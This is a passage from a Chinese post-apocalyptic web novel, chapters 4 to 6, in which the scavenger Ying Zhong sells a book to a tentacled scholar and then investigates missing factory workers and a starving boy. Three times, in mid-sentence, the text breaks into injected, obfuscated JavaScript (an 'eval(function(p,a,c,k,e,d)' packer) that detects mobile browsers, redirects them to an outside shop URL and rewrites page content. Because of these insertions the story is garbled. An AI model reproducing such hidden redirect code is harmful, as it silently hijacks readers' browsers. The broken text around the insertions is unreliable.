一捧沙子挖出来,更多的沙子从旁边倾泻而入,瞬间填满他刚刚挖出来的小洞。 “??”青年学者惊讶,看看被沙子填满的窗户,又看看一旁自己堆起的小沙丘。 青年陷入思考。 几分钟后,无数条肉红色触手从青年的衣摆下、袖子里……从他身上各个地方钻出来。 开始吭哧吭哧地刨土。 附有吸盘的触手用来捕捉猎物或许很方便,但对挖掘来说绝对不是一个好工具。 青年努力了很久。然而无论触手的速度有多快,沙子总能在他松开手/触手的一瞬间,倒灌回窗户里。把他的一切努力变成徒劳。 “……!!” 青年学者无助地跪在沙丘上,满脸都是粮仓塌了的崩溃。 他沉默片刻,触手上的小吸盘们狰狞扭曲地蠕动。 触手尖尖微微蜷缩,周围的空间忽然开始扭曲。 大地如同被看不见的火焰炙烤,原本光滑平坦的沙丘开始像海浪一样起伏。 ……不。不可以。 青年学者深吸一口气,似乎放弃了什么。身旁几百条触手同时平静下来。 动静太大了,而且不知道会引起什么后果。 青年学者沉默了一会儿,从触手堆里翻出那本刚刚读完的书。 在这本书的内页上,罗列着这位作家发表过的所有作品。 一共十一本,他已经读完了其中的十本。 是出于什么原因没有一次性读完全部呢? 想起来了。是因为图书馆的入口处写着:每次最多可借阅十本图书。 所以现在只差最后一本还没有看到……只差最后一本……最后一本…… 青年学者缓慢地从沙丘上站起来,转过头,望向人类的城镇。 柔软的触手上沾满砂砾,这让他感觉很痒。他抖抖触手抖掉沙子,又仔细地整理了一下袖子和衣服下摆。 把不属于人类的器官全部藏好后,青年学者推了推单边眼镜,朝不远处唯一的人类城镇走去。 4. 第4章 咬痕 集市上人来人往。应钟漫无目的地闲逛着,没找到什么想要的东西。 说是集市,其实交易品无外乎食物、能源、医疗品,这些老生常谈的生存物资。 应钟兜里揣着任务报酬给的金属块,还有那本什么什么人鱼。难得的好天气,再加上刚刚死里逃生,他想买点好吃的犒劳一下自己。 然而看来看去,食物只有压缩饼干和各种内容物不明的罐头。 在废土上生活了二十年,这两种东西应钟早已经吃吐了。他宁愿冒险去尝尝野外那些不知道有没有毒的果子,都不想把这个阳光明媚午后的好心情浪费在这些东西上。 买些什么好呢…… 应钟走着走着,眼睛忽然被什么东西晃到。 他疑惑地转了一圈,很快发现,那个晃到他眼睛的东西是银白色的丝线。 那东西就像真正的金属银制成,纤细柔韧,仿佛可以被无限延伸。 又是这玩意儿! 这到底是什么? 应钟低头,发现丝线的来源是自己的口袋。他伸手把口袋里的东西掏出来。 果然又是那本什么什么人鱼。 这次和图书馆里一样,从书本的封面上发射出强烈的银白色的光线。像激光灯一样指向了人群里。 应钟一边注意着周围人的反应,一边朝光线指引的地方走。 周围人果然和路温杰里米他们一样,看不见他手里这道银光。 难道只有最开始拿起这本书的人可以看到这种丝线吗? 这个丝线到底是什么来历…… 应钟皱眉思考着,往前走了一段,很快就听到人群里传来某位大叔毫不客气的嘲讽。 “喂,你在搞笑吧?我这里是卖书的,你要找炸鸡,来我这里干嘛?不买就赶紧滚,别打扰我做生意!” 站在书摊前的,是一名身材很高的青年。他穿着一身有些旧了的学者服装,宽肩窄腰,是那种优美挺拔却不过分强壮的身材。 这位青年学者鼻梁轮廓高挺,嘴唇温润漂亮。十分认真地回答道: “我不是在搞笑。我也不是在找炸鸡。我是在找书。” 应钟感觉这个人一板一眼的说话方式好像AI机器人。不由好笑。 说起来,大灾害之前,AI技术已经非常成熟了。说不定这家伙真的是一个幸存下来的机器人? ……那他身上有没有什么,太阳能电池? 能不能拆一块下来给那个棒子充充电? 应钟盯着自己手里那本书,以及连接着书本和那名青年学者之间的银白色丝线。 他往前走了两步,正思考着如何开口,那名青年却像后边长了眼睛一样忽然转过身来。 “……”青年学者直勾勾盯着应钟的手。 应钟发现他的眼睛很漂亮,是绿宝石一样的颜色,在阳光下十分动人。 应钟问:“这就是你要找的书吗?” 青年点点头。抬起眼注视他时,眼神里又似乎有疑惑。 书摊老板伸长脖子朝应钟这里看了一眼,看清封面上的书名,吃惊挠头:“好家伙,还真有书叫炸鸡人鱼啊……” 青年学者:“?” 应钟:“……” 难怪他老觉得这本书的书名有点熟悉,原来是跟大灾害前的某个炸鸡店重名。 应钟把青年学者拉到一旁,咳了一声,问:“你打算出多少?” 青年的手已经伸过来了。他的手很漂亮,白皙干净,修长而骨节分明。确实不像个在末世挣扎求生的普通人。 ……如果真是机器人的话应该有一块很大的电板…… 应钟在他碰到那本书之前后退了一步,笑道:“喂,先谈好价格再验货。” “验货?”青年微微皱眉。应钟不确定他是不是对这个要求感到不满。 然而下一秒青年就点点头,说:“可以。” 他从口袋里掏出一块东西,手掌摊开,递到应钟面前:“这个够吗?” 金子?! 应钟吃了一惊,忍不住抬眼打量眼前这名青年。 对方皮肤很白,五官深邃,是那种混血儿风格的俊美。他颧骨上夹着一枚单片眼镜,看上去就像中世纪电视剧里走出来的贵族。 出手也确实阔绰,一看就没吃过物资匮乏的苦。走在路上很容易被坏蛋盯上的那种。 幸好应钟不算特别坏。 应钟接过那枚金子,掂量了一下。分量很沉,感觉不像假的。 青年仍旧盯着那本书看,目不转睛。 应钟笑了下,把金子还给他,说:“不用这么多。这种书不值钱。” “……”青年学者皱了下眉头。 应钟把书递过去:“送给你吧,反正我也是随手捡的。” 青年点点头,伸手要接。 应钟却忽然犹豫:“等等,你很急吗?要不你等两天,等我看完……” 他还没弄明白银色丝线和这本书的关系,就这么把书送人的话,这个问题他可能一辈子都没有答案了。 青年学者两手抓着书,盯着他。手上使劲:“我很急。” 应钟手上也使劲,跟他商量:“那就明天早上……” “这是第十一本。”青年说,“我看完了十本……” 这话说得没头没尾,应钟没听明白。腰上却忽然一沉。应钟低头一看,口袋里鼓鼓囊囊,被塞了两个大金块。 应钟瞠目结舌,手上下意识一松。那青年立刻抓住机会把书抢走,同时快速而简短地道:“谢谢你。” 他边说边把书抱在怀里,扭头飞快地走了。 语气很礼貌,行为很粗暴。但是给的金子又足够多,所以无可指责…… 应钟盯着他的背影,看到一根纤细的丝线从他的后背冒出来,和自己的胸口相连。 这到底是怎么回事? 应钟伸手摸了摸胸口,身体倒是没有任何不舒服,只是这种和陌生人被丝线绑定的感觉怪怪的。他想起路温和杰里米。 他再次拿出那两个金子,放在阳光下仔细端详。 不会是假的吧? “兄弟,有硝酸吗?”应钟扭头问巷子口那个书摊老板。 “有。要鉴定啊?”大叔一脸了然,随手拿出一小瓶棕黄色玻璃瓶。 这大叔卖的理工科书籍很值钱,不乏有人找他拿金属做交易,因此他摊位上肯定备着硝酸——应钟坦然地当着他的面拿出金子,用玻璃棒沾了点硝酸,点在金子表面。 假金子一般是铜锌合金,两种金属都会和硝酸反应,在表面会有银白色物质析出。 而真正的金子化学性质稳定,不会与硝酸发生反应。 书摊老板探头探脑,凑过来和应钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393104|200328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起观察金子表面的反应。 没有任何变化。 这是真正的纯金。 “不会是刚才那小子给你的吧?!”书摊老板反应过来,满脸痛心疾首,“你就卖了本炸鸡人鱼给他,他出这么多?!靠!早知道我就帮他找书了!” “他强买强卖的。”应钟深沉道,“唉,本来我只想要一块电池,结果他硬塞给我这么多,塞完就跑了,都不给我讨价还价的余地……” 书摊老板被这波反向谈价惊呆了,瞠目结舌道:“等等,你们交易的真的只是一本小说吗?你们真的不是在打什么暗号?” “那本书是小说吗?”应钟随口道,“不知道,我还没看过,你看过吗?” “看过啊,唉,想当年我也是文艺青年一枚……”大叔仰头望天,陷入了过往的回忆之中。 应钟:“书里写的什么?” 大叔伸手:“一块金子。” 应钟扭头就走。 书摊老板忽然笑了,语气阴沉沉的:“喂,小子。成色这么好的金子,别随便拿出来。这是忠告,看在你昨天救了路温的面子上。” 应钟头也不回:“我知道。我也知道你不会对我出手,所以才到你摊位上来鉴定。” “啊?”书摊老板一愣。 应钟:“你昨天也在救援队伍里吧。你是路温和杰里米的朋友。” 书摊老板:“……” 书摊老板挠挠头,心想好家伙,昨天自己混在那么一大堆人里,居然被他记住了。 这家伙原来有恃无恐,难怪胆子这么大,敢在他的摊位上直接鉴定金子,不怕被盯上。 这年轻人看上去漫不经心,实际上把什么都考虑到了。真是不简单。 应钟离开书摊,手指仍旧无意识地在口袋里那两块金子上摩挲。摸着摸着,感觉摸到一串古怪的凹痕。 不会是刚刚的硝酸现在才发生反应吧。应钟头皮一麻,赶紧把金子掏出来一看,仔细检查,却发现那串凹痕不是他先前滴硫酸的位置。 而且凹痕的形状很奇怪,整整齐齐,像是牙印? 应钟盯着金块研究半天,怎么看都觉得那一串凹痕就是牙印。 他甚至能想象出某人捏着金块一口啃下去的动作…… 怎么说呢,还挺可爱? 应钟想起大灾害前某些电视剧里,古代人用来判断金子是真是假的方式,就是放在嘴里咬一咬。 金子虽然化学性质稳定,但质地其实很软。特别是纯金,它的莫氏硬度大约在2.5左右,而人类牙齿的莫氏硬度大概是5到6。 真的用力咬的话,是很容易在表面上留下牙印的。 应钟摸了摸另一块金子,确认上面没有更多痕迹了。于是他把那块被咬过的金子放进更深的口袋里,掂量着另一块金子,开始在集市里寻找电池。 然而走着走着,应钟又停下了脚步。 ——等等,不对。 他记得刚才,那青年学者跟他抢书的时候,是两个手一起拽着书本边缘,使出浑身力气跟他拉扯的。 那么那两块金子,是怎么塞进他口袋里的?! 难道这家伙还有第三只手? ——难道他真是个机器人?! 应钟站在原地思考片刻,实在按捺不住心中的好奇,他转过身,循着银色丝线的方向追上去。 5. 第5章 小猫 应钟循着那根丝线去追那名青年学者,跑出一段路,却渐渐陷入迷惘。 因为集市上面乱七八糟的丝线实在是太多了! 之前还不觉得,此时环顾四周,应钟只觉得自己误入了蜘蛛巢穴,到处都是银丝闪闪互相连接的人。 比如正在讨价还价的摊贩和顾客,比如并肩在街上散步的情侣……应钟几乎分不清到底哪根线是哪根线,他只觉得头晕眼花,只能低头盯着从自己身体里冒出来的那根线,努力加快脚步。 “应钟?听说你在沙漠里救了路温和杰里米,他们说以后要给你卖命?” 一旁有人叫他。 应钟头也没抬,随口应了一声。 那人又道:“哎等等,我这里有个活儿,找人的,你要接吗?” 应钟正要摆手,那人追上来,神秘兮兮地凑到他耳边说:“报酬是电池!你不是一直想要电池吗?这种好事儿我特意替你留心着呢!我跟你说啊这可是有价无市的东西……” 应钟脚步顿住,终于抬起头来。认出面前的男人是内德,他的邻居。 同时也是一个情报贩子。 这种情报贩子在每一个幸存者聚集地里都会有。每天游走于街巷之间,贩售各种有用的信息。 这种人一般唯利是图,但内德算是比较有底线的。应钟当初刚到这座人类聚集地来的时候,想找个干净安全的房子住,内德主动凑上来,结果给他找的房子就在内德家隔壁。 内德拍着胸脯说,你看我自己都住在这里,可见这里的房子确实干净安全。 结果那栋废弃建筑楼当晚就出了事。几只翼型怪物飞进来,啪.啪.啪地抽内德的脸。还好应钟就在隔壁,顺手解决了那几只深夜扰民的家伙。 内德隔天就把中介费全给他退了,还送了一整套干净整洁的床具给他。 此时内德见应钟停下脚步,便朝他露出个灿烂的微笑,一副“你终于感兴趣了”的表情。 应钟看着他那张热情洋溢到让人无法拒绝的脸,心想,好吧,内德至少记得他当初随口一提的需求,这一点还是蛮让他感动的——虽然内德大概只是为了做生意。情报贩子的基本职业素养嘛。 内德带着他来到了一栋偏僻老旧的居民楼前。应钟抬头看着那栋明显疏于修缮的建筑,表情有些狐疑。 末世地广人稀,自然的侵蚀已经把大部分建筑毁坏。哪怕是曾经繁华的大都市,如今适合居住的房屋也并不多。 人造建筑一旦失去人类的维护,很快会在自然的力量下腐朽。 野蛮生长的藤蔓爬满建筑,大自然正在逐渐把土地从人类手里夺回。 而住在这里的人显然是没多少余力去照看房子。 住这种地方的人,真的出得起电池这么好的报酬吗?要知道电池可是消耗品,且大灾害都过去二十年了,大部分电池都因保存不当而无法使用。 但很多小玩意儿却只能用电池这种原始能源来驱动。 就像内德说的,电池有价无市。拥有电池的人完全可以靠这个换一处更好的住所。 “你别不信啊。”内德看出他的担忧,一边领他进楼一边说,“雇主是位老太太,唯一的儿子失踪了,能不急么?所以拿出家里最值钱的东西来找儿子也很合情合理对吧。” 应钟皱了下眉头。一进屋他就看到屋子里堆满破烂,纸盒子垃圾袋什么的,还有股东西发霉的味道。 一位头发花白的老太太摇摇晃晃走出来。内德说了句“你们聊我还有事”,就先行离开。 应钟起初还担心那老太太讲不清楚,没想到老太太开口,口齿流利清晰。三两句就把事情讲清楚了。 老太太姓翁。正如内德所说,她唯一的儿子失踪了。 她儿子是个年轻力壮的成年男性,老太太拿照片给应钟看,应钟仔细端详,记下了对方的容貌。 “他最后一次出现是在哪里?”应钟问。 “在蒸汽工厂。那天他夜班,上班前还去工头那里签到打卡了。可是那天晚上他就再也没回来……”翁奶奶说着说着眼圈就红了。 应钟记录下老太太提供的线索,打算先去那个工厂看看。 临出门前,他忽然想起什么,回头看了眼满头白发步履蹒跚的老太太。 “您儿子多少岁?”应钟问。 翁奶奶回答:“二十一。” 应钟心里一震。 大灾害是二十年前发生的。二十一岁的幸存者,说明在大灾害发生的时候他才刚刚一岁。 应钟忍不住问:“那您……” 翁奶奶回答:“我吗?我算算……我是二十五岁那年生的他,今年我应该四十六了吧……” 应钟侧过头,看到柜子上摆着一张年轻军人的黑白遗照,忽然间明白过来。 能让一位四十六岁的女性苍老得像个七八十岁的老太太,理由只有一个,那就是操劳。 那张黑白遗照看上去像是大灾害前制作的,已经陈旧泛黄,却被擦得干干净净,摆放在阳光照得到的柜子上。 去世的年轻军人在暖阳里微笑,干净爽朗。 应钟今年二十八。他自己的妈妈如果还在,应该比眼前这位“老太太”还大几岁。 应钟垂了垂眸,说:“放心吧阿姨,我一定把你儿子找回来。” 翁阿姨红着眼圈点头。 告别翁阿姨,应钟立刻前往那座蒸汽工厂。 这是利用大灾害前一座废弃工厂改造过来的,城镇里为数不多的拥有电力的地方。 说是电力,其实供电也很不稳定。由于电路老化的问题,到处都能看到迸溅的火花,非常危险,随时有发生火灾的可能。 这座城市原本是华国最繁华的大都市,如今却因为地壳运动而四分五裂。几乎所有的水力电力管道全都分崩离析,哪怕蒸汽工厂还能供电,电力也只能输送到周围很小的一片区域。 理所当然地,蒸汽工厂附近住满了人。 很讽刺。当初大灾害之前,这座工厂因为环境污染,导致周边地价暴跌,根本没有人住。如今当年的工业污染依旧盘踞在土地和地下水里,人们却对这里趋之若鹜。 昔日的辉煌犹如饮鸩止渴,他们清醒地做着世界尚未毁灭的梦。 ……甚至还搞起了上下班打卡。 万恶的资本主义,竟然在世界毁灭之后残存不死! 应钟的手电筒就是拿到这里来充电的,收费极高,而且很不方便,每次过来充电都要排队。 手电筒还能克服一下,但是那个棒子不能。那东西只能用电池,糟心得要命。 话又说回来,那东西就算能充电,应钟也不想拿着这根凶器在工厂外面排长队…… 应钟叹了口气,走进冒着黑烟的工厂里,找到那名工头。 应钟来到他面前时,那名工头正在愁眉苦脸。看到应钟当即眼前一亮。 “小伙子,你是来找工作的吗?来来来,我这里有好活儿!包吃包住!还有水电可以用!” “条件这么好?!”应钟吃了一惊,听得都有点心动了。不过他没忘记自己的任务,一边打听工资待遇一边仔细观察周围环境。 蒸汽管道喷吐着白雾,空气里混着铁锈味与焦糊味,让人一走进去就喉咙发涩。 流水线上正在操作机器的工人稀稀落落,哪怕应钟对这些机器的流程不太熟悉,也能看出这里非常缺人。工人们根本忙不过来。 “唉!别提了!最近不知道怎么回事,厂里走丢了好几个人……”工头说着就诉起苦来。 应钟挑眉。他顺着工头的话聊下去,很快就套到了想要的线索。 原来,加上翁阿姨的儿子,最近工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他是干嘛的?”应钟缓步上前,目光落在少年胸口的银白丝线上。 ——翁阿姨儿子失踪前最后一晚接触过的机器,与这少年之间,产生了微弱的银白细丝。 两者之间竟有关联。 “一个讨饭的。”工头鄙夷地说。 “哎,别这么说他,人家也没办法……” “就是啊。人家身体不好,老大你别骂他,小孩子也是有自尊心的……” 旁边的工人们有些看不下去,纷纷出言劝说。 “小孩子?你们自己才多大,管人家叫小孩子?!”工头没好气地怼了回去,挥手让众人回到自己工位上。转头又对着那瘦弱男生骂骂咧咧。 工人们面露不忍,但还是听话地回到流水线上。 小猫似的瘦弱男生被工头如此羞辱,并未反驳,只是咬了下嘴唇,低着头转身离开。 应钟盯着他背后隐隐浮现的白色丝线,回想起工人们说的,那些失踪者都很好心,连流浪的小猫小狗都不忍心吃…… 应钟心念一动,正要追上去,却被工头按住肩膀。 “你别同情他啊。”工头一把拉住他,没好气地说,“那小子是在装可怜!你别看他委屈巴巴地来找工作,他一有钱就去买大鱼大肉!他根本不是吃不起饭,他就是馋!你说说,这年头,能有口饭吃都不错了,他居然还挑食,只吃肉不吃菜不吃军用干粮!他脑子有毛病!” 应钟的脚步停下。 只吃肉……? 身后的工头还在骂骂咧咧:“这不就跟以前那些拿着贫困生奖学金却去买奢侈品的骗子一样吗?妈的,这种烂人,怎么什么年代都会有?!消费别人的同情心,都特么不是东西,不配当人!……” 6. 第6章 尾鳍 应钟悄悄尾随着那黑色卫衣的瘦弱少年,一路经过好几个街区。 大灾害后,全球人类数量锐减。哪怕在人类聚集地里,居民们也是稀稀落落。 所谓街区,不过是二三十人聚集居住的区域。放在以前也就是一个小得不能再小的村落。 然而这在废土人类聚集地里已经算是很热闹的地方了。 原因也很简单:人们大多无所事事,在街道上闲逛。白天的街区到处是人。 大灾害刚发生的头几年,幸存者们都非常忙碌。要建造庇护所,寻找食物来源,寻找大灾害中走失了的亲人。 如今二十年过去,人类聚集地陆续构建成型,食物药品这些生存资源也被搜刮得差不多了。 至于在大灾害中走失了的亲人……都二十年了,老人早就故去,孩子也已经长成为截然不同的陌生人。已经没那么多人执着于寻找当年的家人。 很多人也已经有了新的家人。 于是便有人陷入一种无所事事的状态:茫然,不知未来在何方,不知自己该做什么。 闲得蛋疼只能出来晒太阳。 这也就是为什么像内德这样的情报贩子大行其道。废土上的幸存者,特别是那些经历过旧世界电子信息化时代的人,废土中的生活日复一日,无聊而麻木。 一份辛劳的工作,一趟危险刺激的任务,反倒能激发出他们生命里的一点能量。 黑色卫衣的瘦小孩也在找工作。但是很显然,没有任何人需要他。 从年龄上看,他实在是不该被叫做“小孩”了。但他太瘦太憔悴,像只瘦骨嶙峋的猫咪。 流浪猫总是惹人垂怜。 就在应钟尾随他的这短短半个小时里,他已经被拒绝过七八次了。 应钟发现他什么工作都愿意干,无论多脏多累的活儿,他都渴望尝试。可惜对方全都不给机会。 原因当然只有一个:他实在是太虚弱了。谁愿意雇佣一个看上去随时会死的人? 夕阳西沉,气温逐渐下降。 那瘦弱少年走得累了,坐在街角停下来喘气。他抱着膝盖瑟缩肩膀,坐在冰冷的马路牙子上。应钟看着都替他觉得冷。 应钟正打算走上去,却见一名小女孩从街道那头跑过来。 “小谢哥哥,你在这里呀!” 小女孩长相可爱,甜甜地跑过来叫他。 少年一开始似乎没听到小姑娘的声音,直到小姑娘跑到他面前,拍拍他的肩膀,他才抬起头来。 少年嘴角上扬,抬手摸摸小女孩的脑袋。一大一小两个人挨在一处,小声说笑。 应钟侧耳去听,发现他们聊的都是些孩子式的话题。比如妈妈今天教了我什么公式,爸爸出去工作带回家了什么。 黑衣少年其实有些接不上话,但是小女孩叽叽喳喳说个不停,黑衣少年也就微笑地安静聆听,只在小女孩绘声绘色说起爸爸带回来的食物时悄悄咽一下口水。 聊着聊着,小女孩从口袋里拿出几块造型奇特的木头,举到少年面前,问:“小谢哥哥,你上次说的美人鱼怎么拼呀?我又给忘啦!” 美人鱼? 应钟忽然想起被青年学者抢走的那本……不是,是被强买强卖走的《华莱士人鱼》。 应钟忍不住叹口气,心想果然应该先看看书里写的是什么再卖掉,不然心里总是有好奇。 街角那头,黑衣少年笑了笑,接过那几个木头块,低头拼了起来。 应钟眯起眼睛,盯着少年的动作。那木块有点类似于乐高,有一块凹凸不平的衔接面,其他几面都打磨得很平整。 和旧世界的乐高不同的是,这些木块一看就是手工打磨的。做工很粗糙,颜色也不统一,是原始的木质纹路。 黑衣少年动作很快,几下就拼好了,把积木还给小女孩。小女孩高兴地把积木捧在掌心。 那个积木拥有人类的上半段,鱼尾的下半段。确实是一条传统认知里的人鱼。 应钟莫名有种宿命感,觉得这一切都像提前写在剧本上一样。无论是《华莱士人鱼》,爱吃肉的少年,还有积木拼成的人鱼…… 对了,还有那个急着要买书的古怪学者。 应钟不禁开始思考这些事物之间的关联。再抬眼时,那小姑娘的母亲已经来叫她回去吃饭,小姑娘正在挥手和少年道别。 小姑娘被母亲牵着手带回去了,少年坐在马路牙子上安静地目送,很久都没有动。 少年背对着应钟,看不见表情。微微仰头的动作却好似憧憬。 不知怎么应钟心里酸了酸。他缓步上前,靠近那名少年。果然看到少年脸上流露出羡慕之色。眼巴巴的模样好像一只流浪猫,蜷在街角注视被主人牵走的宠物狗。 “你是不是在找工作?”应钟问。 “?”瘦弱少年愣了一下,继而抬头,满眼惊喜,“是的!我需要工作!什么都行!请问您……” 不知道是不是胆小怕生的关系,应钟注意到他说话时不是看着自己的眼睛,而是盯着自己的嘴。 他说话很礼貌,这一点令应钟想起了那个语气礼貌但是行为粗暴的学者。 应钟心念一转,道:“你帮我找个人,我给你报酬。” 应钟描述了一下那个学者的外貌。瘦弱少年露出思考的表情,回忆半晌,摇头说没见过这个人。 “他戴着单片眼镜,很特别,见过他的人应该都会有印象。”应钟一边说,一边从口袋里掏出一小块紫铜,“这是定金。” 废土世界里,金属是非常受欢迎的交易物。紫铜可以用来做电线,很实用。 应钟拿出的这一块,成色算是不错的,保存状态也很好,没有腐蚀的痕迹。 不过紫铜并不罕见,在废墟建筑里仔细找一找就可以找到,因此购买力很低。 这块紫铜大概也就够买两片军用压缩饼干。相当于一个成年人三天的食物。 至于鱼和肉类这种稀缺物资,当然是远远不够的。 大灾害后的世界,其实不是没有动物,而是大多数动物都发生了污染变异。不能吃。 至于家畜……大多数人都吃了上顿没下顿,连喂饱自己都困难,更别提饲养家畜。 应钟观察少年的反应。果然少年在看到紫铜的一瞬间,眼睛就亮起来了。 应钟说:“帮我找到人,我再给你一个银块。这么大的。” 应钟比划了下。这种大小的银块,购买力就强多了。买一堆金枪鱼罐头不在话下。 瘦弱少年睁大眼睛,很明显地大喜过望。他又仔细询问了那名古怪学者的长相,低着头重复几遍,然后握拳认真地说:“我记住了!” 说完就转身朝街区那头的人群走去。踮起脚,比手画脚地开始打听。 夕阳已经沉得只剩一条橙红色的边,废弃都市逐渐被一种深沉的暮蓝所笼盖。 气温越来越低。应钟觉得冷,他笼紧兜帽,找地方买了杯热水。 是的没错,这年头就连一杯热水都要花钱。 足够把水煮开的热源要花钱,干净到能够饮用的水甚至更值钱。 应钟找了个不那么漏风的地方坐下来,一边喝热水一边远远观察那少年。 瘦弱少年倒是很敬业,把他能遇到的所有人都给问了一遍。就这样在冷风里忙活了两个多小时。 应钟的热水早就喝完了,手也冻僵了。瘦弱少年却还在兢兢业业地到处打听,打听的范围已经远超出这个街区。 应钟心想这孩子倒是挺耐寒的,他那件卫衣甚至看上去还漏风。 ……他为什么不多穿点衣服? 末世里虽然什么都缺,但衣服反而不缺。 不光从死人身上可以扒,以前那些服装店和仓库里都囤积了大量新衣服。只要找到一间仓库,就可以为大量居民提供好几年衣物。 哪怕像“小谢”这种吃不起饭的小可怜,也绝不至于找不到合身的衣服。 所以他为什么会穿那件明显大了几号的卫衣?有什么特殊意义吗? 应钟起了疑心,眯起眼睛仔细端详。 他注意到小谢经常会停下来休息。他似乎很容易疲惫,坐在马路边喘气的时候经常会揉自己的后腰。过分宽大的黑色卫衣被街头的冷风吹起,勾勒出他极度消瘦的四肢,以及……怪异鼓胀的腹部。 小谢的肚子极其古怪地隆起,和他细瘦聆听的四肢形成了鲜明对比。 这会儿小谢正用双手抱住自己的肚子,低着头不知道在干什么。 每当他做出这种举动的时候,他的嘴角会有一抹淡淡的微笑。那神情几乎可以称之为幸福。 应钟心里一下子涌起了很诡异的感觉。这种动作简直就像是……孕妇。但是怎么可能? 小谢明明是男孩子。他的喉结很明显,身形虽然瘦小,但骨骼也完全是男性的特征。 应钟感觉很不舒服。他决定不再等下去了,于是他随手拦下一名路人,向对方打听小谢的事,随后就直奔小谢的家而去。 小谢的家位于一座废弃公寓楼。应钟一进居民楼就皱起眉。 这座公寓楼空空荡荡,主结构墙体上甚至还破了一个大洞。荒凉的风从巨大的洞窟里穿入,发出呜呜的响声。整个楼道都看上去阴郁冰冷,而且随时都有倒塌的风险。 末世里哪怕是最穷苦的人都不会住这种地方——人类聚集地里有大把的废弃建筑,哪怕维护不佳,也绝不至于像眼前这栋一样摇摇欲坠。住在这里随时都有房屋倒塌的风险。 小谢为什么偏偏住在这里? 这个瘦弱无助看起来伤害不了任何人的少年,身上竟然有这么多不合常理的地方…… 应钟走上两层,很快就明白了。 ——因为这里除了小谢,不会有人来住。 小谢的家是三楼最里面那间,阳光不太好,空气中有股很久没通风的霉味儿。房门上挂着锁,暴力破拆不难,但肯定会打草惊蛇。 应钟来到隔壁,从邻居的阳台上翻过去。 ……竟然连阳台都锁了。而且也是从外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393106|200328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面锁的。 应钟挑眉。小谢家果然有问题。 要从外面锁住阳台,必须得从邻居家跳跃栏杆翻过来。这可是三楼,这高度摔下去不死也要骨折。而对小谢来说,骨折也就和等死差不多了。 不惜冒这么大风险也要锁门,而且都是从外面锁的。这说明,小谢不是为了阻止外面的人进去。 他是不想让里面的人出来。 应钟想了想,翻回到隔壁邻居家里。拿出个听诊器,将听筒按在墙上。 ……什么都没听到。 应钟耐心等了很久,又换了个房间。这座公寓楼偷工减料,墙体很薄。如果小谢家里有什么动静,用听诊器应该能听见。 但是过了很久很久,应钟都没有听到任何声音。 小谢可能快要回来了。应钟叹了口气,决定这次就先回去。 然而就在他打算起身之时,墙体那头隐约传来哗啦一声。似乎是水的声音。很微弱。 应钟立刻屏息凝神去听,却又什么都听不到了。 要不再守一守,今晚在这里过夜? 应钟转过头,看看房间里到处发霉的家具。 ——还是算了。 应钟果断放弃。 大面积的霉变意味着真菌。在这种地方过夜,很容易肺部感染。 应钟离开了公寓楼。下楼的时候没有遇到任何人。 夜色已经很深了,天空中挂着稀稀落落的星星,像打翻在天鹅绒幕布里的钻石。 没有电力没有灯光,破败的废土街区里,星空格外璀璨。 和城市另一头开着通宵流水线的蒸汽工厂形成鲜明对比。 晚上很冷。应钟回到自己家里,先煮了个牛肉罐头暖暖身子,然后敲开隔壁内德家的门。 应钟问:“打听到什么没有?” 应钟下午从蒸汽工厂出来的时候,托人带信给内德。让内德帮忙调查小谢。 内德嘿嘿一笑:“查到一些,规矩你懂的……” 应钟拿了几块金属给他。内德很爽快,收钱办事,罐头倒豆子似的把情报抖落出来。 小谢的名字是谢宁。 和应钟之前在蒸汽工厂打听到的差不多。小谢确实过得很惨,平日里吃不起饭。每天都像流浪猫似的到处找食。 而且,和工头说的一样,小谢连饭都吃不起了,却还是很挑食。他会攒钱去买罐头,通常是金枪鱼罐头。那东西便宜,在大灾害前的黄金时代满地都是。 “他这种活法,居然能活到十七岁?”应钟挑眉。 小谢是个孤儿,不知何时出现在这座人类聚集地里。没有人见过他的父母,他也没有朋友。 就连小谢已经十七岁这件事,应钟也是通过内德才知道的。光看外表的话,应钟以为小谢只有十四五岁。这说明长期的营养不良已经影响到发育。 “听说是半年前开始变成这样的,不知道受了什么刺激。”内德说,“他刚来这里的时候还挺正常,就是有点孤零零的,每天一个人到处打工。半年前突然搬家了,后来就越来越没个人样。” 半年…… 应钟皱了下眉头。 “想到什么了,大侦探?”内德饶有兴致地看着他。 “我在想,刚才给你的报酬太多了。”应钟伸手,“这点情报不值这些。铝合金还我。” 内德:“……” “你知道的,我刚刚救下路温和杰里米。”应钟一边扒拉他的口袋一边诚恳道,“路温说我受到欺负的时候随时可以去找他……” “到底谁欺负谁啊!!”内德捂着口袋叫起来,“好了好了我知道了!混蛋,你怎么不按套路出牌!好吧还有个重要情报没告诉你!除了蒸汽工厂那几个,其他地方也有青壮年失踪!最早的失踪者差不多就是追溯到半年前!” 应钟记录下所有失踪者的情况,抬眼瞟着内德:“确定没了?” 